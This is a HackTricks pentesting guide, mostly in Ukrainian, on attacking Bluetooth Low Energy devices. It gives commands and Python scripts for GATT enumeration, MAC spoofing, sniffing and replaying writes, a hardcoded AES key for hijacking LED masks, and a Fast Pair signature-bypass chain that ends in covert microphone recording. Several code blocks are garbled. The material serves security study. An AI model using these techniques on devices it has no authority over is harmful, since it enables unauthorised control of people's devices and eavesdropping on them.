Pentesting BLE - Bluetooth Low Energy
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вступ
Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, які покривають діапазон 2400 до 2483.5 МГц. Натомість традиційний Bluetooth використовує 79 каналів у тому ж діапазоні.
Пристрої BLE комунікують шляхом відправлення advertising packets (beacons); ці пакети транслюють наявність BLE-пристрою іншим близьким пристроям. Ці beacons іноді також передають дані.
Пристрій, що слухає, також називають central device, може відповісти на advertising packet за допомогою SCAN request, надісланого безпосередньо до рекламуючого пристрою. Response на цей скан має ту саму структуру, що й advertising packet, але містить додаткову інформацію, яка не помістилася в початковий advertising request, наприклад повну назву пристрою.
.png)
Прапоровий байт (preamble byte) синхронізує частоту, тоді як чотирьохбайтовий access address є connection identifier, який використовується у сценаріях, коли кілька пристроїв намагаються встановити connections на тих самих каналах. Далі Protocol Data Unit (PDU) містить advertising data. Існує кілька типів PDU; найчастіше використовувані — ADV_NONCONN_IND та ADV_IND. Пристрої застосовують тип PDU ADV_NONCONN_IND, якщо вони не приймають з’єднань, передаючи дані лише в advertising packet. Пристрої використовують ADV_IND, якщо вони дозволяють з’єднання і припиняють відправлення advertising пакетів після того, як connection було встановлено.
GATT
The Generic Attribute Profile (GATT) визначає, як device має форматувати та передавати дані. Коли ви аналізуєте attack surface BLE-пристрою, ви зазвичай зосереджуєте увагу на GATT (або GATTs), оскільки саме через нього тригериться функціональність пристрою і саме він визначає, як дані зберігаються, групуються та змінюються. GATT перераховує характеристики пристрою — characteristics, descriptors і services — у таблиці як 16- або 32-бітні значення. Characteristic — це data value, що надсилається між central device та peripheral. Ці characteristics можуть мати descriptors, які надають додаткову інформацію про них. Characteristics часто групуються в services, якщо вони пов’язані з виконанням певної дії.
Перерахування
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool дозволяє встановити з’єднання з іншим пристроєм, перелічувати характеристики цього пристрою та читати й записувати його атрибути.
GATTTool може запустити інтерактивну оболонку з опцією -I:
GATTTool інтерактивне використання та приклади
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing та активне керування непарованими BLE-пристроями
Багато недорогих BLE-периферійних пристроїв не застосовують pairing/bonding. Без bonding шифрування Link Layer ніколи не вмикається, тому трафік ATT/GATT передається у відкритому вигляді. Off-path sniffer може відстежити з’єднання, декодувати GATT-операції, щоб дізнатися characteristic handles і values, після чого будь-який сусідній хост може підключитися та відтворити ці записи (replay those writes) для керування пристроєм.
Sniffing with Sniffle (CC26x2/CC1352)
Обладнання: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), перепрошитий прошивкою Sniffle від NCC Group.
Встановіть Sniffle та його Wireshark extcap на Linux:
Встановлення Sniffle extcap (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Прошийте Sonoff прошивкою Sniffle (переконайтеся, що ваш серійний пристрій відповідає, наприклад, /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Захопіть у Wireshark через Sniffle extcap і швидко pivot до state-changing writes, відфільтрувавши:
_ws.col.info contains "Sent Write Command"
Це підсвічує ATT Write Commands зі сторони client; handle і value часто безпосередньо відповідають діям пристрою (наприклад, write 0x01 у buzzer/alert characteristic, 0x00 — щоб зупинити).
Sniffle CLI швидкі приклади:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin також працює. На маленьких/дешевих Nordic dongles ви зазвичай перезаписуєте USB bootloader, щоб завантажити sniffer firmware, тому або тримаєте окремий sniffer dongle, або потрібен J-Link/JTAG для відновлення bootloader пізніше.
Активне керування через GATT
Коли ви ідентифікували writable characteristic handle і value у sniffed traffic, підключіться як будь-який central і виконайте той самий write:
-
За допомогою Nordic nRF Connect for Desktop (BLE app):
-
Виберіть nRF52/nRF52840 dongle, виконайте сканування і підключіться до цілі.
-
Перегляньте GATT database, знайдіть цільову characteristic (зазвичай має дружню назву, наприклад, Alert Level).
-
Виконайте Write із sniffed bytes (наприклад, 01 щоб запустити, 00 щоб зупинити).
-
Автоматизація на Windows із Nordic dongle використовуючи Python + blatann:
Приклад запису Python blatann (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Case study: перехоплення BLE LED масок (Shining Mask family)
Дешеві, white‑labeled BLE LED маски, які контролюються додатком “Shining Mask”, приймають write‑керування від будь‑якого nearby central без pairing/bonding. Додаток спілкується через GATT з command characteristic та data characteristic; команди шифруються AES‑ECB статичним ключем, захардкодженим у додатку, тоді як bulk image data передається незашифрованою.
Ключові UUID на цих пристроях:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Неаутентифіковані GATT‑записи
- Не вимагається pairing/bonding. Будь‑який host може підключитися і записати в command UUID, щоб змінити brightness, обрати images, запустити animations тощо.
- Типові операції, що спостерігалися: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Фреймінг команд з AES зі статичним ключем
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Відомий статичний ключ (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Потік завантаження образу
- Після зашифрованого DATS handshake, raw chunks записуються незашифрованими в data characteristic …960a.
- Формат пакету: [len][seq][payload]. Емпірично ~100 байт payload на пакет працює надійно.
Мінімальний псевдокод завантаження образу
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)
- **Discovery:** Скануйте BLE-оголошення на наявність **service UUID 0xFE2C** (Google Fast Pair). Пристрої в режимі pairing зазвичай показують pairing badge; навіть поза режимом pairing служба Fast Pair може відповідати на GATT.
- **Non-invasive probe (signature enforcement check):**
1. Підключіться по GATT до служби Fast Pair і **прочитайте Model ID**.
2. **Запишіть Key-Based Pairing (KBP) значення без підпису**. Якщо периферійний пристрій приймає неподписаний запис KBP, він вразливий до signature-bypass (WhisperPair/CVE-2025-36911). Відмова вказує на виправлення; помилки можуть бути невизначеними, якщо пристрій вже сполучено.
- **BLE → BR/EDR pivot:** Відправте **KBP Request** і розпарсіть **encrypted response**, щоб відновити цільову **BR/EDR address**. Використайте класичний bonding виклик (наприклад Android **`createBond(<BR/EDR address>)`**) для завершення несанкціонованого сполучення. Там, де підтримується, запис **Account Key** зберігає асоціацію.
- **Post-bond microphone abuse:** Після bonding відкрийте **HFP** і запустіть **SCO audio**, щоб отримати живий мікрофонний потік для прослуховування/запису (наприклад, збереження M4A). Ця ланцюжок перетворює прийняття неподписаного KBP у віддалений запис аудіо без згоди користувача.
- **Hunt/detect:** Шукайте Fast Pair GATT-трафік, після якого відразу слідують класичні **bonding attempts to the BR/EDR address returned in KBP**, а також KBP-записи без підпису. Примусове застосування перевірки підпису для KBP і запит підтвердження сполучення користувачем розриває ланцюжок.
## Операційні нотатки
- Надавайте перевагу Sonoff+Sniffle на Linux для надійного перемикання каналів і відстеження підключень. Тримайте запасний Nordic sniffer як резерв.
- Без pairing/bonding будь-який нападник поблизу може спостерігати записи та відтворювати/створювати власні для невпевнено автентифікованих записуваних характеристик.
## References
- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>


